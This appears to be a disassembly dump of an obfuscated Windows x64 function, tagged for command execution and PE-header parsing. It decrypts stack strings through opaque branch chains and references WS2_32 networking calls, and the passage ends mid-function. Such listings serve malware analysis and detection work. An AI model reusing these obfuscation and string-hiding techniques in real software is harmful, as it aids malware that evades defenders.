Function at 0x140143bf0
Capabilities:
Execute command
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xc0
movzx r11d, byte [rbp + 0x67]
xorps xmm0, xmm0
xor eax, eax
mov dword [rbp - 9], 0x739b9087
movups xmmword [rbp + 4], xmm0
mov word [rbp + 0x14], ax
movabs rsi, 0x8d9894247aef06fe
mov dword [rbp - 5], 0x6271ab96
movabs r14, 0x99074401bcb60c86
mov dword [rbp - 1], 0x9eb28056
movabs r15, 0x6141640fa26670b6
mov byte [rbp + 3], reloc.WS2_32.dll_getservbyport
movabs r12, 0xcb15cc0536222592
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14051e4d0]
mov r9, qword [0x14051e4d8]
nop
xor edi, edi
cmp rdi, 0x1f
jae 0x140144725
movzx ebx, byte [rbp + rdi - 9]
mov r10d, ebx
cmp r8, rdi
ja 0x14014471c
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140143cc4
lea rcx, [rdi + r14]
movzx eax, r10b
and al, cl
mov r11d, 0x2b
sub r11b, al
add r11b, r11b
add r11b, cl
add r11b, bl
jmp 0x140143ce4
je 0x1401446ab
lea rax, [r9 + 3]
cmp r8, rax
je 0x140144679
lea rax, [r9 + 7]
cmp r8, rax
je 0x140144655
cmp r9, rdi
ja 0x140144713
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x140143d13
lea rcx, [rdi + rsi]
mov edx, 7
movzx eax, r10b
and al, cl
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, bl
jmp 0x140143d60
lea rax, [r9 + 1]
cmp r8, rax
je 0x140144613
lea rax, [r9 + 3]
cmp r8, rax
je 0x140144609
lea rax, [r9 + 5]
cmp r8, rax
je 0x1401445e8
lea rax, [r9 + 2]
cmp r8, rax
je 0x140144577
lea rax, [r9 + 4]
cmp r8, rax
je 0x14014454b
nop dword [rax]
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140144275
nop dword [rax]
lea rax, [r9 + 6]
cmp r8, rax
je 0x140144257
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140144235
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140144228
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14014420a
lea rax, [r9 + 8]
cmp r8, rax
je 0x1401441ee
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1401441d0
lea rax, [r9 + 4]
cmp r8, rax
je 0x1401441b7
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14014419e
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140144172
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140143d70
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x42]
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1401446f3
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1401446d7
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140143f5e
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140143f40
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140143f27
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14014412c
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1401440e6
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1401440ac
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140144086
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140143d70
lea r8, [r9 + 0x7a]
lea r9, [r8 + 2]
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14014405a
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140144041
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140144023
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140144005
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140143fe9
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140143fcd
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140143fc0
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140143f9e
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140143f7c
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140143d70
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x5a]
jmp 0x140143d70
lea ecx, [rdi - 0x3e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4e
jmp 0x140143d60
lea edx, [rdi - 0x4a]
mov ecx, 3
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140143ce4
lea edx, [rdi - 0x56]
mov ecx, 0x2d
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140143c94
lea edx, [rdi - 0x10]
mov ecx, reloc.WS2_32.dll_getservbyport
movzx eax, dl
movzx r10d, dil
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14014462c
lea ecx, [rdi - 0x1c]
inc r9
movzx eax, cl
dec rdi
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
inc rdi
jmp 0x140143c82
lea edx, [rdi - 0x28]
mov ecx, reloc.WS2_32.dll_inet_ntoa
jmp 0x14014465d
mov ecx, getservbyname
lea edx, [rdi - 0x34]
movzx eax, dl
movzx r10d, dil
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x140144504
lea ecx, [rdi - 0x40]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
add r8, r9
jmp 0x140144692
lea edx, [rdi - 0x4c]
mov ecx, 0xa
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140144692
lea edx, [rdi - 0x58]
mov ecx, reloc.WS2_32.dll_gethostbyname
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14014458b
lea ecx, [rdi - 0x64]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
jmp 0x1401445ac
lea edx, [rdi - 0x70]
mov ecx, 8
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi - 9]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x140143c82
lea edx, [rdi - 0xe]
mov ecx, gethostbyaddr
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
mov byte [rbp + rdi - 9], r11b
inc rdi
jmp 0x140143c82
lea ecx, [rdi - 0x1a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4a
cmp r9, 0x61
jb 0x14014409f
movzx r10d, dil
lea ecx, [r10 + 0x64]
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x78]
jmp 0x14014462c
lea edx, [rdi - 0x26]
mov ecx, 5
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 0x5a
jae 0x1401444e8
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x140144431
lea ecx, [rdi - 0x14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
jmp 0x1401440c0
lea edx, [rdi - 0x32]
mov ecx, gethostbyaddr
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 0x20
je 0x140144531
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x14014436c
lea edx, [rdi - 0x12]
mov ecx, 0x3f
movzx eax, dl
and al, bl
jmp 0x1401440f3
lea edx, [rdi - 0xc]
mov ecx, 0x2a
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi - 9]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x140143c82
lea ecx, [rdi - 0x18]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
jmp 0x1401445ac
lea ecx, [rdi - 0x24]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 4
jmp 0x14014458b
lea edx, [rdi - 0x30]
mov ecx, 0x28
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140144692
lea ecx, [rdi - 0x3c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
add r8, r9
jmp 0x140144692
movzx r10d, dil
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
jmp 0x14014450a
lea edx, [rdi - 0x54]
mov ecx, 0x26
jmp 0x14014465d
lea ecx, [rdi - 0x60]
inc r9
movzx eax, cl
dec rdi
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
inc rdi
jmp 0x140143c82
movzx r10d, dil
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
jmp 0x14014462c
lea rax, [r9 + 9]
cmp r8, rax
jae 0x140144290
lea edx, [rdi - 0x7a]
mov ecx, 0x2b
movzx eax, dl
and al, bl
jmp 0x140144139
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401442c5
lea edx, [rdi - 4]
mov ecx, ntohs
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi - 9]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x140143c82
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1401442ec
lea edx, [rdi + 0x14]
mov ecx, 0x3a
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14014458b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140144311
lea ecx, [rdi + 0x2c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
add r8, r9
jmp 0x140144692
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14014433c
lea ecx, [rdi + 0x50]
inc r9
movzx eax, cl
dec rdi
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
inc rdi
jmp 0x140143c82
lea rax, [r9 + 9]
cmp r8, rax
jne 0x140144145
mov ecx, 0x3e
movzx r10d, dil
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14014462c
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140144398
mov ecx, reloc.WS2_32.dll_setsockopt
movzx r10d, dil
lea edx, [r10 - 6]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14014462c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401443c0
lea ecx, [rdi + 0x12]
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7e
inc rdi
jmp 0x140143c82
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1401443e6
mov ecx, reloc.WS2_32.dll_socket
movzx r10d, dil
lea edx, [r10 + 0x1e]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x140144504
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14014440b
lea ecx, [rdi + 0x2a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x26
add r8, r9
jmp 0x140144692
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1401440ff
lea ecx, [rdi + 0x36]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7a
jmp 0x140144692
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140144466
lea edx, [rdi - 8]
mov ecx, 0x1c
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi - 9]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x140143c82
inc rax
cmp r8, rax
jne 0x140144487
lea ecx, [rdi + 4]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
jmp 0x1401445ac
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1401444a9
lea ecx, [rdi + 0x10]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
jmp 0x14014458b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401444ce
lea ecx, [rdi + 0x28]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
add r8, r9
jmp 0x140144692
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1401440c0
lea edx, [rdi + 0x40]
mov ecx, 0x20
jmp 0x14014465d
movzx r11d, byte [rbp + rdi - 9]
movzx r10d, dil
lea edx, [r10 + 0x70]
movzx eax, dl
and al, bl
add al, al
sub r11b, al
sub r11b, 0x10
add r11b, dl
add r11b, bl
sub r10b, 0xa
mov ecx, 0x23
movzx eax, r10b
and al, bl
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
add cl, bl
mov byte [rbp + rdi - 9], cl
add r8, r9
jmp 0x140144692
lea ecx, [rdi + 0x7c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi - 9]
lea r11d, [rbx + rcx]
sub r11b, 0x64
jmp 0x14014458b
lea edx, [rdi + 0x6a]
mov ecx, ntohs
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi - 9]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x140143c82
lea ecx, [rdi + 0x52]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3e
lea ecx, [rdi + 2]
inc r9
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0xe
add cl, bl
movzx eax, cl
mov byte [rbp + rdi - 9], al
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x78]
inc r8
movzx eax, dl
mov ecx, 0x24
and al, bl
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi - 9], cl
add rdi, rax
movzx eax, byte [rbp + rdi - 9]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140143c82
lea edx, [rdi + 0x3a]
mov ecx, getservbyname
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
jmp 0x140144692
lea edx, [rdi + 0x22]
mov ecx, 9
jmp 0x14014465d
movzx r10d, dil
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x46
sub r10b, 0x16
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x66
add r10b, bl
mov byte [rbp + rdi - 9], r10b
inc r9
dec rdi
inc rdi
jmp 0x140143c82
lea edx, [rdi - 0x26]
mov ecx, 5
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140143c82
lea rcx, [rdi + r15]
mov eax, 3
and r10b, cl
sub al, r10b
lea r11d, [rax + rax]
add r11b, bl
add r11b, cl
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140143c82
lea rcx, [rdi + r12]
mov eax, 1
and r10b, cl
sub al, r10b
lea r11d, [rax + rax]
add r11b, bl
add r11b, cl
movzx eax, byte [rbp + rdi - 9]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140143c82
sub dil, 0x62
movzx eax, dil
and al, bl
add al, al
sub dil, al
lea r11d, [rbx + rdi]
sub r11b, 0x52
jmp 0x140143c80
sub dil, 0x6e
mov ecx, 1
movzx eax, dil
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, bl
jmp 0x140143c70
lea rbx, [rbp + 0x15069ff]
jmp 0x140144729
lea rbx, [rbp + 0x1467685]
jmp 0x140144729
lea rbx, [rbp - 9]
lea rcx, [rbp + 0x17]
call fcn.140135f90
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140144740
mov rdx, rbx
lea rcx, [rbp + 0x17]
call fcn.14013c7a0
nop word [rax + rax]
mov ebx, 5
lea rcx, [rbp + 0x17]
call fcn.140135430
mov rcx, rax
call fcn.1401414a0
mov dword [0x14051e4c0], eax
test eax, eax
jle 0x140144787
mov ecx, eax
call fcn.140143b90
sub rbx, 1
jne 0x140144765
lea rcx, [rbp + 0x17]
call fcn.140135430
mov rcx, rax
call fcn.1401414a0
cmp dword [0x14051e4c0], eax
jne 0x140144760
movzx r11d, byte [rbp + 0x67]
xor eax, eax
mov qword [rbp - 0x17], rax
movabs r14, 0x9b9a3d3555798714
mov dword [rbp - 0xf], eax
movabs r12, 0x4137ac755652b18c
mov word [rbp - 0xb], ax
movabs r15, 0xd2ceb7a0006c953c
mov dword [rbp - 0x2b], 0xbb16e4ee
mov dword [rbp - 0x27], 0xe7e119e7
mov dword [rbp - 0x23], 0xe5eb1eb0
mov dword [rbp - 0x1f], 0x23dbd2d9
mov dword [rbp - 0x1b], 0xab239e88
nop dword [rax]
mov r8, qword [0x14051e4d0]
mov r9, qword [0x14051e4d8]
nop
xor edi, edi
cmp rdi, 0x22
jae 0x1401452a4
movzx ebx, byte [rbp + rdi - 0x2b]
mov r10, rbx
cmp r8, rdi
ja 0x14014529b
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x140144854
lea rcx, [rdi + r14]
movzx eax, r10b
and al, cl
mov r11d, 0x3a
sub r11b, al
add r11b, r11b
add r11b, r10b
add r11b, cl
jmp 0x140144881
je 0x140145224
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401451aa
lea rax, [rcx + 1]
cmp r8, rax
je 0x14014517a
lea rax, [r9 + 4]
cmp r8, rax
je 0x14014515b
cmp r9, rdi
ja 0x140145292
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x1401448a9
lea ecx, [rdi - 0x5c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7c
jmp 0x1401448f0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140145117
inc rax
cmp r8, rax
je 0x1401450f0
lea rax, [r9 + 5]
cmp r8, rax
je 0x1401450d2
lea rax, [r9 + 4]
cmp r8, rax
je 0x1401450b5
lea rax, [r9 + 2]
cmp r8, rax
je 0x14014508e
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x140144e26
nop dword [rax]
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140144e07
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140144de5
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140144dc6
lea rax, [r9 + 8]
cmp r8, rax
je 0x140144da7
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140144d89
lea rax, [r9 + 5]
cmp r8, rax
je 0x140144d6b
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140144d4d
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140144d2f
lea rax, [r9 + 1]
cmp r8, rax
je 0x140144d14
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140144900
lea r8, [r9 + 0x80]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140145272
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140145252
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140144af2
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140144ad4
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140144ab7
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140144cca
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140144c83
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140144c42
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140144c21
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140144900
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140144bfa
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140144bdd
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140144bc0
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140144ba7
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140144b8b
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140144b6c
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140144b48
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140144b21
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140144b10
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140144900
lea r8, [r9 + 9]
lea r9, [r8 + 8]
jmp 0x140144900
lea edx, [rdi - 0x24]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 4
add r11b, dl
jmp 0x1401448f0
lea edx, [rdi - 0x4c]
mov ecx, 0xa
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140144881
lea edx, [rdi - 0x74]
mov ecx, reloc.WS2_32.dll_shutdown
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140144821
lea edx, [rdi + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx r10d, dil
jmp 0x140145124
lea edx, [rdi - 8]
mov ecx, 0x1c
movzx eax, bl
inc r9
and al, dl
dec rdi
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x140144812
lea edx, [rdi - 0x30]
mov ecx, 0x28
movzx eax, bl
dec rdi
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x140144812
mov ecx, reloc.WS2_32.dll_gethostbyname
lea edx, [rdi - 0x58]
movzx eax, bl
movzx r10d, dil
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14014504d
lea ecx, [rdi + 0x80]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
jmp 0x14014518e
lea ecx, [rdi + 0x58]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x68
jmp 0x140145191
lea edx, [rdi + 0x30]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x50
add r11b, dl
jmp 0x1401451c7
lea edx, [rdi + 8]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x38
add r11b, dl
jmp 0x1401451ec
lea ecx, [rdi - 0x20]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rbp + rdi - 0x2b]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
sub r11b, 0x20
inc rdi
jmp 0x140144812
lea ecx, [rdi + 0x7c]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x64
mov byte [rbp + rdi - 0x2b], r11b
inc rdi
jmp 0x140144812
lea edx, [rdi + 0x54]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x4c
add r11b, dl
cmp r9, 0x5a
jb 0x140144c35
mov ecx, 0x1c
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 8]
and al, dl
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x140145135
lea edx, [rdi + 0x2c]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x34
add r11b, dl
cmp r8, 3
jae 0x140145032
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x140144f82
mov ecx, reloc.WS2_32.dll_sendto
lea edx, [rdi + 0x68]
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140144c57
lea edx, [rdi + 4]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x1c
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 8
je 0x140145073
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x140144ed1
lea edx, [rdi - 0x3c]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x5c
jmp 0x140144c98
mov ecx, reloc.WS2_32.dll_inet_ntoa
lea edx, [rdi - 0x28]
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14014523c
lea edx, [rdi - 0x50]
mov ecx, 0x18
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401451ec
lea edx, [rdi - 0x78]
mov ecx, 0x24
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401451c7
lea edx, [rdi + 0x60]
mov ecx, gethostbyaddr
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140145191
lea edx, [rdi + 0x38]
mov ecx, 0x3c
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14014518e
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 + 0x10]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x70
jmp 0x14014504d
lea ecx, [rdi - 0x18]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x58
inc rdi
jmp 0x140144812
lea ecx, [rdi - 0x40]
movzx eax, bl
and al, cl
inc r9
add al, al
dec rdi
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
inc rdi
jmp 0x140144812
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 - 0x68]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x28
jmp 0x140145132
lea rax, [r9 + 2]
cmp r8, rax
jae 0x140144e4a
mov ecx, 0x3a
lea edx, [rdi + 0x14]
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140144cdf
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140144e6e
mov ecx, 4
lea edx, [rdi + 0x48]
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14014523c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140144e90
lea ecx, [rdi - 0x40]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
jmp 0x140145191
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140144eb2
lea ecx, [rdi - 0x18]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x58
jmp 0x14014518e
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140144ce2
movzx r10d, dil
mov ecx, 0x24
lea edx, [r10 - 0x78]
jmp 0x140145124
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140144ef9
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 - 0x14]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x74
jmp 0x140145132
inc rax
cmp r8, rax
jne 0x140144f25
lea edx, [rdi + 0x3c]
mov ecx, 0x2e
movzx eax, bl
dec rdi
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x140144812
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140144f4e
mov ecx, 0x22
movzx r10d, dil
movzx eax, bl
lea edx, [r10 + 0x64]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14014504d
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140144c9b
lea ecx, [rdi + 0x2c]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rbp + rdi - 0x2b]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
sub r11b, 0x34
inc rdi
jmp 0x140144812
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140144fa6
mov ecx, 8
lea edx, [rdi - 0x70]
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14014523c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140144fcc
lea edx, [rdi - 0x20]
movzx eax, bl
and al, dl
